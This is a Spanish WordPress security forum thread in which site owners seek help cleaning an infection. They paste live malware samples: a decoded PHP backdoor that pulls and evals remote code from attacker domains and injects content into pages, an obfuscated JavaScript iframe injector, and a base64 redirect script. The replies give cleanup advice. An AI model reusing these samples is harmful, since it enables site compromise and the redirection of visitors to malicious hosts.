Malware con código base64 infecta masivamente archivos php y js

Inicio Foros WordPress Seguridad Malware con código base64 infecta masivamente archivos php y js

Etiquetado: , ,

Este debate contiene 6 respuestas, tiene 4 mensajes y lo actualizó  Camelot hace 6 años, 6 meses.

  • Autor
    Publicaciones
  • #60490

    Camelot
    Participante

    Desde ayer he comenzado a notar una serie de problemas en un sitio cuya administración recientemente he comenzado a compartir. Hace unas semanas noté algunos temas infectados con este código detectados con el plugin TAC. Borré los themes infectados y el theme que usa el blog lo conservé borrando las líneas comprometidas. Todo se restableció a la normalidad. Por problemas de uso de memoria desactivé el plugin Antivirus y BulletProof Security. No sé si será coincidencia pero después comenzaron otra vez los problemas pero ahora es mucho peor y el código encriptado ahora también aparece en archivos fuera de la carpeta de themes afectando a los archivos de la propia instalación de wordpress. Usando un decodificar de código base 64 he encontrado que su contenido es:
    if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';} function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;} function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;} function tryfopen_777($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;} function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;} function trysocket_777($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;} function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val=="")$val=get_tds_777($actual2);$f=@fopen($tdsfile,"w");if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);eval(base64_decode($code));}return $val;} function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir."log1.txt";if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode("\n",$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;} function is_mac_777($ua){$mac=0;if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;return $mac;} function is_msie_777($ua){$msie=0;if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;return $msie;} function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";$mz="/tmp/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";if (!is_dir($rz)){@mkdir($rz);if (is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1; global $_SERVER; $_SERVER['s_p1']=$mz; $_SERVER['s_b1']=$bot; $_SERVER['s_t1']=1200; $_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/"; $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1']='http://www.lilypophilypop.com/g_load.php'.$d; $_SERVER['s_a2']='http://www.lolypopholypop.com/g_load.php'.$d; $_SERVER['s_script']="mm.php?d=1"; } setup_globals_777(); if(!function_exists('gml_777')){ function gml_777(){ $r_string_777=''; if ($_SERVER['s_b1']==0)$r_string_777=''; return $r_string_777; } } if(!function_exists('gzdecodeit')){ function gzdecodeit($decode){ $t=@ord(@substr($decode,3,1)); $start=10; $v=0; if($t&4){ $str=@unpack('v',substr($decode,10,2)); $str=$str[1]; $start+=2+$str; } if($t&8){ $start=@strpos($decode,chr(0),$start)+1; } if($t&16){ $start=@strpos($decode,chr(0),$start)+1; } if($t&2){ $start+=2; } $ret=@gzinflate(@substr($decode,$start)); if($ret===FALSE){ $ret=$decode; } return $ret; } } function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }
    Pero hasta ahí he llegado. No sé como usar esa información para limpiar el sitio.
    Haciendo un scaneo con Sitecheck.sucuri.net sale esto como Known javascript malware. Details: http://sucuri.net/malware/malware-entry-mwjs159:
    f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!77!60!63!59!63!68!58!70!7!75!62!61!66!75!62!60!77!70!62!7!71!62!77!8!61!8!13!9!13!7!73!65!73!24!64!72!22!10!0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!77!60!63!59!63!68!58!70!7!75!62!61!66!75!62!60!77!70!62!7!71!62!77!8!61!8!13!9!13!7!73!65!73!24!64!72!22!10!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;0>i-w.length;i++){j=i;s=s+r(39+1*w[j]);}
    ¿Qué pasos debo seguir?

  • #60507

    LGrusin
    Miembro

    Precisamente hoy mismo Fernando publicó un post sobre eso.

    https://ayudawp.com/infeccion-grave-en-ficheros-javascript-de-wordpress/
    Un saludo

  • #60616

    Camelot
    Participante

    Gracias, al final por intuición he hecho justo lo que dice Fernando… salvo cambiar las contraseñas de FPT porque no soy el administrador general pero he recomendado a los demás que lo hagan, así como que cambien sus contraseñas de acceso a WordPress…

    Otra vez gracias, guardaré el tema en cuestión para futuras referencias.

  • #60619

    Hombre Man
    Participante

    También es recomendable que no bajen themes o plugins de sitios piratas, porque de esos sitios es donde vienen los themes con el footer codificado…

  • #61059

    Camelot
    Participante

    No necesariamente, algunos themes gratuitos también los tienen. La cuestión es no bajarlos de sitios de dudosa reputación sean gratuitos o de pago.

  • #61194

    alvarobuc
    Participante

    saludos acabo de hacer todo lo que me dice la guía que nos hiciste llegar, pero en mi caso tengo mas de un blog y por mas que borre todo y lo volví se volvió a meter.

    He cambiado todos los acceso FTP espero que me puedan ayudar, con mas detalles de como se ingresa el virus.

    Saludos y espero su pronta respuesta.

    base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZHVic3RlcC5vbmVkdW1iLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9”));

  • #61196

    Camelot
    Participante

    Yo no soy administrador general del blog infectado así que no he podido limpiar todos los archivos. En el hosting hay tanto un blog de wordpress como un foro phpBB. El blog de wordpress lo he reinstalado completamente (themes y plugins incluidos, suerte que tengo un backup limpio de todo) pero no el foro que no tengo copias de nada y temía echarlo a perder. Así que no me quedó más remedio que blindar wordpress con una serie de medidas. Aun así sufrí un par de reinfestaciones que me obligaron a realizar igual número de reinstalaciones, era molesto. Hasta que instalé WordPress Firewall 2 Desde entonces he sufrido dos ataques más pero que fueron bloqueados exitosamente por el plugin que me envió este reporte: http://i.minus.com/ivlkdXLIyoOZH.jpg
    Incluso he averiguado (porque tiene para identificar el origen de la IP intrusiva) que el primer ataque fue de Ucrania y el último desde China.
    Si alguien sabe como usar la información del reporte para saber el origen o como bloquear nuevos ataques para ayudar al firewall sería genial. Por lo demás, espero que te sea de utilidad.

El foro ‘Seguridad’ está cerrado y no se permiten nuevos debates ni respuestas.

Pin It on Pinterest